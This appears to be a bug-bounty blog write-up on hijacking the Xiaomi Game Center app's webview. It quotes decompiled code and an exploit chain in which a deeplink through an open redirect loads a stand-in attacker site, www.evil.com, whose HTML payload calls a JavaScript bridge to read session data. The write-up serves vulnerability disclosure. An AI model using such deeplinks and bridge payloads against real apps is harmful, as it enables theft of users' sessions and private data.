November 20, 2021

HACKING XIAOMI'S ANDROID APPS - PART 2

Hey Freaks ! This is part 2 of my previous Article " HACKING XIAOMI'S ANDROID APPS " so, without any further delay. let's jump into it.

In case if you missed part 1 of this article here's the LINK

5. Remote WebView hijack using open redirect in Xiaomi Game Center leads to theft of data / privacy violation

This bug exists in the Xiaomi game center which I have downloaded from https://game.xiaomi.com. I have found an interesting webview hijack which bypasses the whitelist protection in place. Activity com.xiaomi.gamecenter.ui.webkit.KnightsWebKitActivity is exported and accepts deeplinks of the format migamecenter://openurl:

<activity android:theme="@style/Theme.Light" android:name="com.xiaomi.gamecenter.ui.webkit.KnightsWebKitActivity" android:exported="true"> 2 <intent-filter> 3 <action android:name="android.intent.action.VIEW"/> 4 <category android:name="android.intent.category.BROWSABLE"/> 5 <category android:name="android.intent.category.DEFAULT"/> 6 <data android:scheme="migamecenter" android:host="openurl"/> 7 </intent-filter>

Code1

private boolean c(Intent intent) { 
2 Uri data; 
3 **<--redacted-->** 
4 if (TextUtils.isEmpty(this.Y) && (data = intent.getData()) != null) { 
5 String scheme = data.getScheme(); 
6 String host = data.getHost(); 
7 if (TextUtils.equals(scheme, "migamecenter")) { 
8 if (TextUtils.equals(host, fa)) { 
9 this.Y = data.toString().substring(23); 
10 } else if (TextUtils.equals(host, ga)) { 
11 this.qa = false; 
12 this.Y = data.toString().substring(26); 
13 } else { 
14 this.Y = data.toString(); 
15 } 
16 } else if (Va.b(data, fa)) { 
17 String uri = data.toString(); 
18 this.Y = uri.substring((scheme + "://").length() + 15 + 12); 
19 } else { 
20 this.Y = data.toString(); 
21 } 
22 } 
23 Logger.b("KnightsWebKitActivity", "openurl=" + this.Y); 
24 Uri uri2 = null; 
25 if (!TextUtils.isEmpty(this.Y)) { 
26 uri2 = Uri.parse(this.Y); 
27 } 
28 if (!G(this.Y)) { //VALIDATION OF URL HAPPENING HERE 
29 Log.e("knightsweb", "DENY ACCESS!!! Unsupported url."); 
30 return false; 
31 } 
32 **< --redacted-->** 
33 } 
34 a(uri2, intent); 
35 } 
36 return true; 
37 } 

At this point, we can try simply loading migamecenter://openurl?www.evil.com and hope that the following line inside the onCreate() function will simply load www.evil.com in our webview:Code1this.ka = new KnightsWebView(this, this, this.na, this.Y);We observe that this fails. Digging deeper, the above function c calls if (!G(this.Y)) which validates that the URL is owned by Xiaomi or related companies. The following function is in com.xiaomi.gamecenter.ui.webkit.Z:Code

1public boolean b(String str) { 
2 if (h.f11484a) { 
3 h.a(133205, new Object[]{str}); 
4 } 
5 if (TextUtils.isEmpty(str)) { 
6 return false; 
7 } 
8 String trim = str.trim(); 
9 if (TextUtils.isEmpty(trim)) { 
10 return false; 
11 } 
12 if (d(trim)) { 
13 return true; 
14 } 
15 try { 
16 Uri parse = Uri.parse(trim); 
17 String host = parse.getHost(); 
18 if (TextUtils.isEmpty(host)) { 
19 return false; 
20 } 
21 Logger.b("webkit host=" + host); 
22 if (host.endsWith(".mi.com") || host.endsWith(".xiaomi.com") || host.endsWith(".wali.com") || host.endsWith(".xiaomi.net") || host.endsWith(".duokan.com") || host.endsWith(".miui.com") || host.endsWith(".mipay.com") || host.endsWith(".duokanbox.com") || TextUtils.equals(host, "mi.com") || TextUtils.equals(host, "xiaomi.com") || host.endsWith(".gov.cn") || host.endsWith("jq.qq.com")) { 
23 return Va.b(parse.getScheme()); 
24 } 
25 return false; 
26 } catch (Throwable th) { 
27 Logger.a("", th); 
28 } 
29 } 

As you can see, this protection looks robust. The application checks whether the URL to be loaded ends with mi.com, xiaomi.com, duokan.com etc.

Misconfiguration in Game Center's BaseWebViewClient

The KnightsWebView actually sets its WebViewClient to BaseWebViewClient. Looking at the code for this, we come across the shouldOverrideUrlLoading implementation:

Code

1public boolean shouldOverrideUrlLoading(WebView webView, String str) { 
2 BaseWebView baseWebView2; 
3 <--redacted--> 
4 if (isJavaScripUrl(str)) { 
5 this.mBridgeHandler.sendMessage(this.mBridgeHandler.obtainMessage(256, webView)); 
6 return true; 
7 }
 8 <--redacted-->
 9 } else {
 10 if (str.startsWith("migamecenter://")) { 
11 try { 
12 Intent intent = new Intent("android.intent.action.VIEW"); 
13 intent.setData(Uri.parse(str)); 
14 intent.putExtra("extra_title", m._b); 
15 Aa.a(webView.getContext(), intent);
 16 } catch (Exception e2) { 
17 Log.w("", e2); 
18 } 
19 return true; 
20 } 
21 boolean e3 = Y.e(str); 
22 if (!e3) { 
23 k.b(R.string.unsupported_url_tip);
 24 } 25 return e3; 
26 } 
27 } 
28 }

Since we are trying to load www.evil.com in our webview, our URL will fall to the last statement:

Code

2 if (!e3) {

3 k.b(R.string.unsupported_url_tip);

4 }

5 return e

3;

Y.e() returns true if the URL is owned by Xiaomi (.mi.com, .xiaomi.com etc.) and has the HTTPS scheme. Since our URL is https://www.evil.com, it will return FALSE. Unfortunately, inside the WebView's shouldOverrideUrlLoading method, returning FALSE means that webview will continue to load the URL, and returning TRUE means the webview will NOT load that URL. Due to this confusion, https://www.evil.com will actually get loaded in the webview. This means, if we are able to find an open redirect on any of the allowed hosts, the webview will NOT BLOCK the redirected URL. I will be using the following open redirect with a simple bypass: https://api.music.xiaomi.com/web?url=http://www.evil.com\www.xiaomi.com (fixed now)

JavaScript bridge in Game Center

Game Center implements JS in a very creative (at least in my experience) way and does not use only JavaScript interfaces. It uses a combination of shouldOverrideUrlLoading and a custom android Handler.

For example, if JS in a page calls JsBridge.invoke("method-name"), the application will load an iframe with source javascript:<JS-CODE>. This will trigger the shouldOverrideUrlLoading behaviour and call the custom handler:

Code

1 if (isJavaScripUrl(str)) {
 2 this.mBridgeHandler.sendMessage(this.mBridgeHandler.obtainMessage(256, webView)); 
3 return true; 
4 } else if (str.startsWith(JS_MESSAGE_PREFIX)) { 
5 Message obtainMessage = this.mBridgeHandler.obtainMessage(257, webView); 
6 obtainMessage.getData().putString("url", str.substring(str.indexOf(JS_MESSAGE_PREFIX) + 50)); 
7 this.mBridgeHandler.sendMessage(obtainMessage);
 8 return true;
 9 }

The mentioned handler will look for that java method inside the com.xiaomi.gamecenter.ui.webkit.BaseWebViewClient class, and then invoke() it, as you can see here:

This looks very interesting. Since we are using the getMethod() java method (The java.lang.Class.getMethod() returns a Method object that reflects the specified public member method of the class or interface represented by the Class object), all the methods which are declared as public inside this class can be called in this way by using the above function. Some of these functions include:

  • public void get_session_data() this method returns all session data in a JSON object:
  • public void client_method_execute() this method executes various other methods which include READ/WRITE ACCESS TO ANDROID CALENDAR without permission prompt

So now I have a fair idea of how I can interact with the Java code using javascript inside my webview, but I still don't know how I can do this. To be sure, I can try to read the entire code and work my way backwards to come up with a proper payload, but I instead resorted to further recon inside the android app. Many times, I have found that the application will host some of its webview resources inside the resources directory, which can allow an attacker to read the code and figure out how a locally hosted webview file might interact with the application.

In this case, I was able to extract some very valuable information from resources > assets > js > jsBridge-mix.js which contained a lot of code involving native webview to Java interaction. You can find the JS here, to see what I was dealing with. After understanding the code, I figured out a lot of function calls and what their purpose is. Looking for the get_session_data() from above also showed how a call looks like:

The s() function is basically a modified call to invoke the JS bridge. So now we can build the following payload which will alert the user's session data to us:

<html>
  <body>
    <script src='remote-server/jsBridge-mix.js'> //host the jsBridge-mix.js from resources directory
      JsBridge.invoke("get_session_data", {}, function(a) { //the a variable will contain the response JSON object from the Java code
                        var i = {};
                        i = a;
                        window.alert(JSON.stringify(i);
                    })
    </script>
  </body>
</html>

Making this attack remote is as easy as using a deeplink in your HTML page and having a user click on it.

<a href='migamecenter://openurl?https://api.music.xiaomi.com/web?url=http://www.evil.com\www.xiaomi.com> with the above HTML payload hosted inside.

Similarly, I can read the rest of the code and also reverse engineer a payload to execute any method that I want to, like the client_method_execute().

That's all for part 2. I will release more of my findings once Xiaomi fixes them. Thanks for reading :)

HACKFREAKS OFFICIAL— FOR NOW CHECK OUT THIS

Thank you for the attention!

This article is presented for informational purposes only and does not constitute a call to action. All information is aimed at protecting readers from illegal actions.